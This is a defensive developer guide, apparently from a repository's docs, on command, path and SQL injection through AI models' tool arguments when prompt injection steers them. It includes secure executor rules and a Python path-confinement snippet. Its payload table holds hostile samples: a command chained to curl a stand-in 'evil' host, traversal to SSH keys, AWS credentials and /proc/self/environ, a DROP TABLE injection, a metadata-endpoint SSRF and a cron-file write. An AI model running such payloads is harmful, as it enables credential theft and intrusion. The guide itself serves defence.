SPB Git forge

spb/doc-api

Public
2commits 1branches 0releases
15.7 MBsize
maindefault branch
13 days agolast push
Python 88.3% TypeScript 7.6% Shell 4.1%
7.1 KB

# Command and path injection through tool arguments

Status: DOCUMENTED Sources: https://platform.claude.com/docs/en/agents-and-tools/tool-use/bash-tool · …/text-editor-tool · OpenAI OpenAPI spec (shell / apply_patch, custom_tool_call) · https://developers.openai.com/api/docs/guides/tools-connectors-mcp#risks-and-safety · xAI: https://docs.x.ai/developers/tools/overview (shell tool, env: "local", shell_call → shell_call_output {stdout, stderr, outcome:{type:"exit", exit_code} | {type:"timeout"}}, max_output_length), https://docs.x.ai/developers/tools/code-execution (hosted alternative) · Gemini: https://ai.google.dev/gemini-api/docs/code-execution (hosted sandbox — no local shell tool), https://ai.google.dev/gemini-api/docs/function-calling (your own functionDeclarations executing commands are entirely your responsibility; mode: VALIDATED) · OWASP Command Injection / Path Traversal Last verified: 2026-09-19

# The problem

Model-generated tool arguments are attacker-influenceable (via prompt injection) and your code executes them. Classic injections apply unchanged:

Tool argument Injection Example payload
command for a shell tool command chaining `ls; curl https://evil/x
path for an editor/file tool traversal, symlinks, special files ../../.ssh/authorized_keys, /proc/self/environ, ~/.aws/credentials
query for a DB tool SQL injection '; DROP TABLE…
url for a fetch tool SSRF http://169.254.169.254/ (see file-uploads-and-ssrf.md)
args for a CLI wrapper option injection --output=/etc/cron.d/x, -exec
template/html XSS / SSTI when rendered {{config}}, <img onerror=…>

Schema strictness (strict: true on both providers) guarantees types, never semantics: {"path": string} is satisfied by ../../etc/shadow.

# Provider-specific notes

  • Anthropic bash_20250124: a single command string; the tool is designed for a sandboxed environment (the docs pair it with the computer-use container). There is no server-side filtering — run it only inside a disposable sandbox (code-execution-and-sandboxing.md). On failure return is_error: true; restart: true resets the session.
  • Anthropic text_editor_*: path arguments — confine to a workspace root; the tool spec says nothing about path validation, it is yours.
  • OpenAI shell / apply_patch (hosted-or-local variants; see docs/tools/): when you execute locally, the same rules apply; apply_patch writes files — validate every target path in the patch.
  • OpenAI custom_tool_call (free-form text input, optional grammar): treat the text as data, never as a command line.
  • xAI shell (tools:[{type:"shell", env:"local"}], Responses API): the model emits shell_call items with commands that you execute locally and answer with shell_call_output (stdout, stderr, outcome exit/timeout, max_output_length). Same posture as Anthropic's bash tool: disposable sandbox only, no secrets, egress-filtered; report timeouts as {type:"timeout"} rather than killing silently. Note xAI's x_search results appear as custom_tool_call items too — those are server-executed, don't confuse them with a local shell call (check name ∈ x_keyword_search…).
  • Gemini: no shell/editor tool exists; any command execution is a functionDeclaration you wrote — mode: VALIDATED checks the schema of the call, nothing about the command. Gemini computer-use type_text_at/key_combination actions are keystrokes into a browser you control: the same allowlisting applies to URLs (navigate) and to text typed into forms.
  • Hosted code execution (all four: Anthropic code_execution_*, OpenAI code_interpreter, xAI code_interpreter, Gemini codeExecution) moves the blast radius to the provider's container — the preferred option for arbitrary code.

# Safe executor rules

  1. Never build shell strings. Use subprocess.run([...], shell=False) / execve-style APIs with an argument array; pass the model's values as arguments, never as part of the program string. If the tool is literally "run a shell command" (bash tool), the only safe answer is a sandbox where the shell can't hurt.
  2. Allowlist programs and options. A git tool accepts ["git", "status"], ["git", "diff", "--", <path>] — not ["git", <anything>]. Reject arguments starting with - unless explicitly allowed; put -- before positional paths.
  3. Canonicalise paths and confine them: realpath(join(ROOT, user_path)) must start with ROOT + sep; reject absolute paths, .. segments after normalisation, symlinks escaping ROOT (resolve with O_NOFOLLOW/openat2 RESOLVE_BENEATH where available), device/special files, and paths under .git/, .env, .ssh/, id_*.
  4. Deny by default on file types and sizes for create/insert; cap total bytes written per session.
  5. Parameterised queries for any DB tool; read-only DB roles; row/time limits.
  6. Escape on output: anything rendered to users or into templates is HTML-escaped/attribute-escaped; markdown rendering with a strict sanitiser and no raw HTML.
  7. Timeouts and resource limits per invocation; kill the process group.
  8. Return sanitised errors (is_error: true / explicit status) without absolute paths, hostnames, or environment values (untrusted-tool-outputs.md).
  9. Audit log every tool invocation with its arguments and request id — this is your forensic record when an injection succeeds.
  10. Idempotency & confirmation: destructive operations (rm, git push --force, DROP) require a second explicit confirmation step or are simply not exposed.

# Reference snippet (Python)

python
ROOT = Path("/workspace").resolve()

def safe_path(user_path: str) -> Path:
    if user_path.startswith(("/", "~")) or "\x00" in user_path:
        raise ValueError("absolute/home paths not allowed")
    p = (ROOT / user_path).resolve(strict=False)
    if p != ROOT and ROOT not in p.parents:
        raise ValueError("path escapes workspace")
    if any(part in {".git", ".env", ".ssh"} for part in p.relative_to(ROOT).parts):
        raise ValueError("protected path")
    return p

def run_git(args: list[str]) -> str:
    allowed = {"status": [], "diff": ["--stat"], "log": ["--oneline", "-n"]}
    if not args or args[0] not in allowed or any(a.startswith("-") and a not in allowed[args[0]] for a in args[1:]):
        raise ValueError("git subcommand/option not allowed")
    return subprocess.run(["git", *args], cwd=ROOT, capture_output=True, text=True, timeout=10, check=False).stdout[:20_000]

# Checklist

  • No shell=True / string concatenation with model values; argument arrays only.
  • Program + option allowlists; -- before paths.
  • Paths canonicalised and confined; protected files denied; symlinks resolved.
  • Shell-type tools (Anthropic bash, OpenAI shell, xAI shell) only inside disposable sandboxes; outcomes/timeouts reported honestly.
  • DB tools parameterised and read-only where possible.
  • Outputs escaped before rendering; errors sanitised; invocations audit-logged.
  • Destructive actions gated by confirmation or not exposed at all.